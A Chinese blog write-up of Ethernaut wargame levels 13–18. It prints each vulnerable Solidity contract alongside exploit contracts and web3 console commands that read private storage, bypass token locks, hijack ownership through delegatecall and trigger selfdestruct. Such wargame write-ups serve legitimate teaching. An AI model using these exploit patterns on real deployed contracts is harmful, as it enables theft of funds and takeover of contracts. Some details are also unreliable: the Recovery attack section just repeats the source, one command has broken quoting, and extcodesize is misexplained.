Ethernaut靶场实践(三)

13.Privacy

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {
    
    

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    
    
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    
    
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

题目简单明了,需要我们调用unlock,而调用unlock的条件需要我们输进去的key与data[2]相同,很明显,与Vault一样,需要我们从solidity的存储机制入手。
unused(31) locked(1) ⇐ slot(0)
ID(32) ⇐ slot(1)
unused(28) flattening(1) denomination(1) awkwardness(2) ⇐ slot(2)
data[0](3 2) ⇐ slot(3)
data[1](3 2) ⇐ slot(4)
data[2](3 2) ⇐ slot(5)
从上面分析我们可以看到,data[2]存储在slot[5]

攻击

在控制台输入 await web3.eth.getStorageAt(contract.address,5),即可得到data[2]的值

继续执行data[2].slice(0,34),其中data[2]需换成你们自己上条指令得到的data[2],slice(0,34)是为了去掉后面的十六个字节,因为我们传进去的值只需要十六个字节.

最后执行 await contract.unlock(“第二条指令的值”),即可提交实例,过关。

14.Gatekeeper One

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {
    
    

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    
    
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    
    
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    
    
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    
    
    entrant = tx.origin;
    return true;
  }
}

这关需要我们成为entrant,其实也就是让我们成功调用enter函数,成功通过三个修饰符,我们一个一个进行分析。
gateOne:很简单,只需要我们通过攻击合约调用合约
gateTwo:需要gas.left().mod(8191)==0,也就是我们执行到这一步所剩余的gas是8191的倍数,执行后才能进行完成。
gateThree:第一条件需要32位的gateKey等于16位的gateKey,也就是gateKey的第17-32位全为零。
第二条件需要32位的gateKey与64位的gateKey不想等,也就是33-64位不全为零。
第三条件需要gateKey的前十六位等于tx.origin。
我们一步一步来解决。

攻击

攻击合约:

contract attack{
    
    
    GatekeeperOne gat;
    constructor(address addr)public{
    
    
        gat = GatekeeperOne(addr);
    }
    function complete()public{
    
    
        bytes8 _addr = bytes8(uint64(msg.sender) & 0xffffffff0000ffff);
        gat.enter(_addr);
    }
}

首先他要我们前十六位全为我们自己的地址,我们将自己的地址直接转换就可以了,第17-32位全为零,由于uint强转是从后面取,也就是十六进制的第9-12位全为零,而1-8位不全为零,因此我们构造出一个Bytes8的数据,并跟我们的数据进行与运算,即可满足要求。

随后调用,然后一步步找到剩余的gas,我们需要找到区块链浏览器中的第二个gas操作,并取该gas-2的值,因为gasleft本身也会消耗gas,再与8191进行mod运算,在初始gas处减少响应的结果,重复2-3次,即可成功,提交实例,攻击完成

15.Gatekeeper Two

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {
    
    

  address public entrant;

  modifier gateOne() {
    
    
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    
    
    uint x;
    assembly {
    
     x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    
    
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    
    
    entrant = tx.origin;
    return true;
  }
}

这关与上关的要求一样,知识修饰符内容不一样,我们还是来一个一个的分析。
gateOne:与上题一样,需要攻击合约
gateTwo:assembly是用于写汇编语言的,感兴趣的可以自己去搜索,extcodesize(caller())的意思是调用者的地址为零,什么时候合约地址为零呢,合约尚未构造完成时,所以我们需要在构造函数中进行攻击。
gateThree:我们传进去的值需要与我们的合约地址进行异或算法且为2^64-1。
我们一个一个进行解决

攻击

攻击合约:

contract attack{
    
    
    GatekeeperTwo gat;
    //为满足合约地址为零,在构造函数中进行攻击
    constructor(address addr)public{
    
    
        gat = GatekeeperTwo(addr);
        bytes8 _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0)-1);
        gat.enter(_gateKey);
    }
}

前两个条件都满足了,我们重点放在第三个条件,我们都知道,一个数与同一个数进行异或会得到全0,所以我们构造出的_gateKey只需要是我们地址与2^64-1进行异或即可。
部署攻击合约,提交实例,关卡完成。

16.Naught Coin

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {
    
    

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    
    
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    
    
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    
    
    if (msg.sender == player) {
    
    
      require(now > timeLock);
      _;
    } else {
    
    
     _;
    }
  } 
} 

本题合约是一个ERC20代币合约,且我们地址本身含有很多余额,但时间未到,无法使用。需要我们想办法将我们的余额取出来,我们可以看到他对transfer函数进行了限制,必须要时间到了之后才允许我们将余额取出来,但他是ERC20合约,他却并没有对transferFrom函数进行限制,因此,我们可以在这上面做文章。

攻击

我们要调用transferFrom函数就需要先给调用者我们余额的使用权限,在控制台输入await contract.approve(contract.address,await contract.balanceof(player)) ,然后再输入
await contract.transferFrom(player,contract.address,await contract.balanceOf(player)),即可完成攻击,提交实例。

17.Preservation

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {
    
    

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    
    
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    
    
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    
    
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {
    
    

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    
    
    storedTime = _time;
  }
}

这关要让我们成为owner,但合约中并没有与owner有关的能够被我们调用的语句。但我们很明显能够发现,合约中只有两个函数,都使用了delegatecall从另两个合约地址中去调用setTime函数,我们在delegation题目中讲解了delegatecall的一些问题,今天我们就需要认识到他的另一个问题。

delegatecall在调用时如果需要修改storage变量,他并不会通过变量名称去当前合约中查找相应的变量进行值的替换,而是会通过变量在被调用合约中的插槽进行改变。

而storedTime在Library合约中存在了slot(0),但是在Preservation合约中slot 0存放的数据是timeZone1Library,也就是第一个library合约的地址,如果我们将这个地址修改为我们的攻击合约,那么之后在调用setFirstTime的时候,就会调用我们自己的setTime函数,我们以此来编写攻击合约。

攻击

攻击合约:

contract LibraryContract {
    
    

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    
    
    storedTime = _time;
  }
}
contract attack{
    
    
    address public addr1;
    address public addr2;
    address public owner;
    
    function setTime(uint _time)public{
    
    
        owner = address(_time);
    }
}

1.调用setFirstTime函数,或者setSecondTime函数,将1library的地址修改为我们的攻击合约。
在这里插入图片描述
2.接着再调用setFirstTime函数,将我们自己的地址传进去
在这里插入图片描述
3.查看owner,可以看到owner已经变成了我们,提交实例关卡完成。
在这里插入图片描述

18.Recovery

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {
    
    

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    
    
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {
    
    

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    
    
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    
    
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public {
    
     
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    
    
    selfdestruct(_to);
  }
}

合约创造者创建了一个token合约,但却遗忘了它的地址,需要我们找到丢失的地址,并恢复以太。我们分析一下这个过程,合约创建者创建了工厂合约,然后工程合约有创建了token合约,要知道,区块链浏览器中可以查看到一个交易的全过程,我们以此进行攻击。

攻击

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {
    
    

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    
    
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {
    
    

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    
    
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    
    
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public {
    
     
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    
    
    selfdestruct(_to);
  }
}

我们去 区块链浏览器上,很明显能看出交易全过程,我们创建了实例,关卡合约创建了工厂合约,工厂合约再创建了代币合约。所以最后一个地址就是我们要找到的地址。
在这里插入图片描述
接着找回丢失的以太。我们通过encodeFunctionSignature获取函数指示,并构造参数。最后通过sendTransaction发送出来。
我们输入await web3.eth.sendTransaction({from:player,to:target,data:await web3.eth.abi.encodeWithSignature(“destroy(address)”) + "000000000000000000000000 +“目标合约地址”})
即可完成攻击,提交实例,关卡完成。

猜你喜欢

转载自blog.csdn.net/m0_68764244/article/details/127198823